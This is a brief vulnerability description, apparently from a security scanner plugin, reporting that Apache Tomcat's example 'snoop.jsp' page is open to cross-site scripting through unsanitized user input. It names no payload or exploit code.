Description

The remote Apache Tomcat web server includes an example JSP application, 'snoop.jsp', that fails to sanitize user-supplied input before using it to generate dynamic content. An unauthenticated, remote attacker can exploit this issue to inject arbitrary HTML or script code into a user's browser to be executed within the security context of the affected site.
